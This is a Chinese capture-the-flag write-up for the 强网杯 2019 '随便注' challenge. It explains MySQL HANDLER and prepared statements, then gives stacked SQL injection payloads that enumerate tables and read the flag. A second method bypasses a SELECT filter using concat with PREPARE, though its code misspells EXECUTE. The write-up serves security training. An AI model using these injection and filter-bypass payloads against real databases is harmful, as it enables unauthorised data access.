[强网杯 2019] 随便注 -WP
一、知识前置
mysql 查询语句 -handler:handler 语句可以查询表中的数据,它能一行一行的浏览表中的数据。但是它没有在 SQL 的标准当中。同时,handler 语句提供对表存储引擎接口的直接访问,可用于 InnoDB 和 MylSAM 表中。
基本语法:
首先 handler table_name open;声明一个 table_name 的句柄。
handler table_name read first; 获取句柄的第一行(表的第一行)
handler table_name read next; 获取句柄的下一行(表的其他行,依次读取)
最后 handler table_name close; 关闭句柄.
这里简单介绍一下,详细可看:https://www.1024sky.cn/blog/article/1169
mysql 的预处理语句:
主要基于三个语句进行:
PREPARE name from SQL 语句:预留单条 SQL 语句,并且名字叫做 name,可以引用该语句。
EXECUTE name:执行预定义 SQL 语句。
(DEALLOCAT|DROP)PREPARE name:删除预定义 SQL 语句。
二、解题过程
1. 进入页面,老流程走一下,没啥特殊情况。
2. 看到就一个框,先输入 1,2,3,4, 看看情况,发现只有 1,2 回显数据,并且数据都不一样,这里推测一下 SQL 的语句结构可能为 select * from table_name where id=$inject 或者 select id,data from table_name id=inject。
3. 尝试让回显数据报错,输入 1' 后语句报错,从报错信息来看,是存在漏洞的。
4. 然后尝试爆字段,输入 1' order by 1(2)(3)#, 输到 3 的时候,数据报错,判断字段应该是 2,所以推测出的 SQL 语句暂时没啥错误。
5. 爆破完后,尝试联合注入,输入 1’ union select 1,2,3#, 发现回显了函数,应该是把这些东西都过滤了。
6. 被过滤后,用 char 或者 ascii 应该是能绕过的,但是感觉太麻烦,从推测的语句来看,先试试能不能堆叠注入。输入 1’;show tables; 回显了数据,说明是可以。
7. 再输入 1';show columns from #, 看到了 flag 字段。
8. 因为我们的 select 是被过滤了,所以可以使用 handler 来查询,输入 1';handler 1919810931114514
open;handler 1919810931114514
read first; 就可以直接拿到 flag 了。
第二种解法
因为存在堆叠注入,所以有比较多的解法,这个我们通过预定义语句来拿到 flag。
首先我们要先绕过 select。
1、我们可以通过 concat()函数来连接一个 SQL 查询语句。
concat('s','elect * from table_name;')
2、然后通过 SET, 将该语句,保存到一个变量当中。
SET @SQL=concat('s','elect * from table_name;')
3、因为预定义语句可以通过变量传递。
PREPARE NAME FROM @SQL;EXCUTE NAME;
最后,我们输入 1';SET @SQL=concat('s','elect * from table_name;');PREPARE NAME FROM @SQL;EXCUTE NAME;# 也能看到 flag。